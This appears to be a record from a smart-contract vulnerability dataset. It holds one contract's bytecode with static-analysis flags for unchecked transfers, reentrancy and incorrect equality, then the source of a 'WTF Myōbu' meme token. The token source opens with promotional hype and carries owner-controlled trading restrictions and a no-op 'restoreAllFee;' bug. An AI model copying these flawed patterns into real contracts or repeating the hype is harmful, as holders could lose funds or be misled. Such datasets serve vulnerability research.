9293949596565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d6e57fe5b600060065414151515610d8057600080fd5b60011515601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e40dd35b306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515610e4057600080fd5b5af11515610e4d57600080fd5b505050604051805190501515141515610e6557600080fd5b60046005811115610e7257fe5b601160009054906101000a900460ff166005811115610e8d57fe5b141515610e9957600080fd5b610ea161205e565b565b600a60009054906101000a900460ff1681565b60095481565b600e6020528060005260406000206000915054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f3457fe5b6004601160006101000a81548160ff02191690836005811115610f5357fe5b0217905550565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fb657600080fd5b7f343765429aea5a34b3ff6a3785a98a5abb2597aca87bfbb58632c173d585373a6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a1600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60085481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415156111bf57600080fd5b600254841415156111cf57600080fd5b600460058111156111dc57fe5b601160009054906101000a900460ff1660058111156111f757fe5b1415151561120457600080fd5b60011515601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e40dd35b306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15156112c457600080fd5b5af115156112d157600080fd5b5050506040518051905015151415156112e957600080fd5b6112f38585612446565b9050601160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd8630846040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15156113ed57600080fd5b5af115156113fa57600080fd5b50505060405180519050505050505050565b601160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114b057fe5b601160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561150d57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156115af57600080fd5b5af115156115bc57600080fd5b5050506040518051905050505050565b60065481565b600080600460058111156115e257fe5b601160009054906101000a900460ff1660058111156115fd57fe5b14151561160957600080fd5b60011515600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561166857600080fd5b60001515600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415156116c757600080fd5b60001515600a60009054906101000a900460ff16151514156118b05760011515601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cf1edfea306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15156117a357600080fd5b5af115156117b057600080fd5b5050506040518051905015151415156117c857600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634803724e6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b151561184d57600080fd5b5af1151561185a57600080fd5b5050506001600a60006101000a81548160ff0219169083151502179055507f4733f2115c06cc134752fcedc0230e36312e639cb98615504db9bfa5a8b58c53436040518082815260200191505060405180910390a15b6001600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549150600c6000838152602001908152602001600020549050601160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515611a2457600080fd5b5af11515611a3157600080fd5b5050506040518051905050601160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515611af857600080fd5b5af11515611b0557600080fd5b5050506040518051905060078190555060006007541415611bda576005601160006101000a81548160ff02191690836005811115611b3f57fe5b0217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f6c5c80d6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b1515611bc957600080fd5b5af11515611bd657600080fd5b5050505b5050565b600d6020528060005260406000206000915054906101000a900460ff1681565b60106020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c8b57fe5b60025482141515611c9b57600080fd5b6006548201601160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515611d5c57600080fd5b5af11515611d6957600080fd5b5050506040518051905010151515611d8057600080fd5b60016005811115611d8d57fe5b601160009054906101000a900460ff166005811115611da857fe5b148015611db6575060045443105b15611ed857611dc58383612446565b9050601160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd8430846040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1515611ebf57600080fd5b5af11515611ecc57600080fd5b50505060405180519050505b505050565b60055481565b601160009054906101000a900460ff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60045481565b60025481565b600f6020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611fbe57fe5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561201a57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080600854111561241f57600160095414156122e257601160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6010600080815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166006546040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561216e57600080fd5b5af1151561217b57600080fd5b50505060405180519050506001600e60006010600080815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166310d727426040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b151561229657600080fd5b5af115156122a357600080fd5b5050507ff6aa8b4724c300a8e180a516dfbdad52959181554de9f90cf5f44e71be8c3f9b436040518082815260200191505060405180910390a161241e565b6008546122ed6127b8565b8115156122f657fe5b0690506010600082815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f946966aa5bcb45de82b706a1b6c350017152137d8683e879ec9b0796fe3ff757600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a161241d600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff166127eb565b5b5b6004601160006101000a81548160ff0219169083600581111561243e57fe5b021790555050565b6000806000436003541115151561245c57600080fd5b60009150436003541115801561247457504360045410155b15612771576001600581111561248657fe5b601160009054906101000a900460ff1660058111156124a157fe5b141515612504576001601160006101000a81548160ff021916908360058111156124c757fe5b02179055507f50ad08f58a27f2851d7e3a1b3a6a46b290f2ce677e99642d30ff639721e77790436040518082815260200191505060405180910390a15b8460106000600854815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506008600081548092919060010191905055508360066000828254019250508190555060001515600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156126f6576001600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555084600b6000600954815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555083600c6000600954815260200190815260200160002081905550600954600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960008154809291906001019190505550612766565b600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083600c60008381526020019081526020016000205401600c6000838152602001908152602001600020819055505b8391508192506127b0565b4360045410156127af576003601160006101000a81548160ff0219169083600581111561279a57fe5b02179055506127a761205e565b8192506127b0565b5b505092915050565b60004344600854604051808481526020018381526020018281526020019350505050604051809103902060019004905090565b6000600654141515156127fd57600080fd5b601160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166006546040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156128e557600080fd5b5af115156128f257600080fd5b5050506040518051905050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663650e1505826006546005546040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019350505050600060405180830381600087803b15156129cd57600080fd5b5af115156129da57600080fd5b5050506006546007819055507fdf87c84eaf689f03b23571ced1aa8139fa6bd18c715b1e215458ed164e451843436040518082815260200191505060405180910390a1505600a165627a7a7230582079760a49c3fa4c0811fedfcc9fc97564cbf3db51cb882f8df6bf1eff7ee2060e0029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
5,089
0xf9276554f13061C8a823558400F195F3101b9e2E
/** *Submitted for verification at Etherscan.io on 2021-06-04 */ /* Welcome to $WTFTOKENS This is our First Legendary Token Launch, $WTFMYOBU. Same Tokenometrics as Myobu, More Hype. Myobu Dev Will be Compensated with a % of the Team's Wallet. Website: https://www.whattheforktokens.com Join our Telegram: https://t.me/whattheforktokens Twitter: https://twitter.com/WTFtokens Trade Responsibly! What The Fork ! ---------------------------------------------- https://t.me/MyobuOfficial https://myobu.io https://twitter.com/MyobuOfficial https://www.reddit.com/r/Myobu/ Myōbu are celestial fox spirits with white fur and full, fluffy tails reminiscent of ripe grain. They are holy creatures, and bring happiness and blessings to those around them. With a dynamic sell limit based on price impact and increasing sell cooldowns and redistribution taxes on consecutive sells, Myōbu was designed to reward holders and discourage dumping. 1. Buy limit and cooldown timer on buys to make sure no automated bots have a chance to snipe big portions of the pool. 2. No Team & Marketing wallet. 100% of the tokens will come on the market for trade. 3. No presale wallets that can dump on the community. Token Information 1. 1,000,000,000,000 Total Supply 3. Developer provides LP 4. Fair launch for everyone! 5. 0,2% transaction limit on launch 6. Buy limit lifted after launch 7. Sells limited to 3% of the Liquidity Pool, <2.9% price impact 8. Sell cooldown increases on consecutive sells, 4 sells within a 24 hours period are allowed 9. 2% redistribution to holders on all buys 10. 7% redistribution to holders on the first sell, increases 2x, 3x, 4x on consecutive sells 11. Redistribution actually works! 12. 5-6% developer fee split within the team ..` `.. /dNdhmNy. .yNmhdMd/ yMMdhhhNMN- -NMNhhhdMMy oMMmhyhhyhMN- -NMhyhhyhmMMs /MMNhs/hhh++NM+ +MN++hhh/shNMM/ .NMNhy`:hyyh:-mMy` `yMm::hyyh:`yhNMN. `mMMdh. -hyohy..yNh.`............`.yNy..yhoyh- .hdMMm` hMMdh: .hyosho...-:--------------:-...ohsoyh. :hdMMh oMMmh+ .hyooyh/...-::---------:::-.../hyooyh. +hmMMo /MMNhs `hyoooyh-...://+++oo+++//:...-hyoooyh` shNMM/ .NMNhy` hhoooshysyhhhhhhhhhhhhhhhhysyhsooohh `yhNMN- `mMMdh. yhsyhyso+::-.```....```.--:/osyhyshy .hdMMm` yMMmh/ -so/-` .. `-/os- /hmMMh /MMyhy .` `` `. shyMM/ mN/+h/ /h+/Nm :N:.sh. .hs.:N/ s-./yh` `hy/.-s .`:/yh` `hy/:`- ``-//yh- .hy//-`` ``://oh+ ` ` +ho//:`` ``.://+yy` `+` `+` `yh+//:.`` ``-///+oho /y: :y/ ohs+///-`` ``:////+sh/ `` `yhs- -shy` `` /hs+////:`` ``:////++sh/ ```:syhs- -shys:``` /hs++////:`` ``://///++sho` `.-/+o/. ./o+/-.` `+hs++/////:`` ``://///+++oyy- ``..--. .--..`` -yyo+++/////:`` ``-/////+++++shs. ``... ...`` .ohs+++++/////-`` ``/////+++++++shs- ..` `.. -shs+++++++/////`` ``-/////++++++++oys- ..` `.. -syo++++++++/////-`` ``:////++++:-....+yy: .. .. :yy+....-:++++////:`` `.////+++:-......./yy: .. .. :yy/.......-:+++////.` `.////++ooo+/-...../yy/` .` `. `/yy/.....-/+ooo++////.` `.////+++oooos+/:...:sy/` . . `/ys:...:/+soooo+++////.` `.:////+++++ooooso/:.:sh+` . . `+hs:.:/osoooo+++++////:.` `-//////++++++ooooso++yh+....+hy++osoooo++++++//////-` `.:///////+++++++oooossyhoohyssoooo++++++////////:.` .:/+++++++++++++++ooosyysooo++++++++++++++//:. `-/+++++++++++++++oooooo+++++++++++++++/-` .-/++++++++++++++++++++++++++++++/-. `.-//++++++++++++++++++++//-.` `..-::://////:::-..` SPDX-License-Identifier: Mines™®© */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } contract Myobu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = unicode"WTF Myōbu"; string private constant _symbol = "WTFMYOBU"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 7; uint256 private _teamFee = 5; mapping(address => bool) private bots; mapping(address => uint256) private buycooldown; mapping(address => uint256) private sellcooldown; mapping(address => uint256) private firstsell; mapping(address => uint256) private sellnumber; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen = false; bool private liquidityAdded = false; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal,"Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 7; _teamFee = 5; } function setFee(uint256 multiplier) private { _taxFee = _taxFee * multiplier; if (multiplier > 1) { _teamFee = 10; } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) { require(tradingOpen); require(amount <= _maxTxAmount); require(buycooldown[to] < block.timestamp); buycooldown[to] = block.timestamp + (30 seconds); _teamFee = 6; _taxFee = 2; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount); require(sellcooldown[from] < block.timestamp); if(firstsell[from] + (1 days) < block.timestamp){ sellnumber[from] = 0; } if (sellnumber[from] == 0) { sellnumber[from]++; firstsell[from] = block.timestamp; sellcooldown[from] = block.timestamp + (1 hours); } else if (sellnumber[from] == 1) { sellnumber[from]++; sellcooldown[from] = block.timestamp + (2 hours); } else if (sellnumber[from] == 2) { sellnumber[from]++; sellcooldown[from] = block.timestamp + (6 hours); } else if (sellnumber[from] == 3) { sellnumber[from]++; sellcooldown[from] = firstsell[from] + (1 days); } swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } setFee(sellnumber[from]); } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); restoreAllFee; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() public onlyOwner { require(liquidityAdded); tradingOpen = true; } function addLiquidity() external onlyOwner() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; liquidityAdded = true; _maxTxAmount = 3000000000 * 10**9; IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(teamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x6080604052600436106101025760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd8014610330578063c9567bf914610347578063d543dbeb1461035e578063dd62ed3e14610387578063e8078d94146103c457610109565b8063715018a6146102865780638da5cb5b1461029d57806395d89b41146102c8578063a9059cbb146102f357610109565b8063313ce567116100d1578063313ce567146101de5780635932ead1146102095780636fc3eaec1461023257806370a082311461024957610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103db565b6040516101309190613213565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190612d9a565b610418565b60405161016d91906131f8565b60405180910390f35b34801561018257600080fd5b5061018b610436565b6040516101989190613395565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612d4b565b610447565b6040516101d591906131f8565b60405180910390f35b3480156101ea57600080fd5b506101f3610520565b604051610200919061340a565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612dd6565b610529565b005b34801561023e57600080fd5b506102476105db565b005b34801561025557600080fd5b50610270600480360381019061026b9190612cbd565b61064d565b60405161027d9190613395565b60405180910390f35b34801561029257600080fd5b5061029b61069e565b005b3480156102a957600080fd5b506102b26107f1565b6040516102bf919061312a565b60405180910390f35b3480156102d457600080fd5b506102dd61081a565b6040516102ea9190613213565b60405180910390f35b3480156102ff57600080fd5b5061031a60048036038101906103159190612d9a565b610857565b60405161032791906131f8565b60405180910390f35b34801561033c57600080fd5b50610345610875565b005b34801561035357600080fd5b5061035c6108ef565b005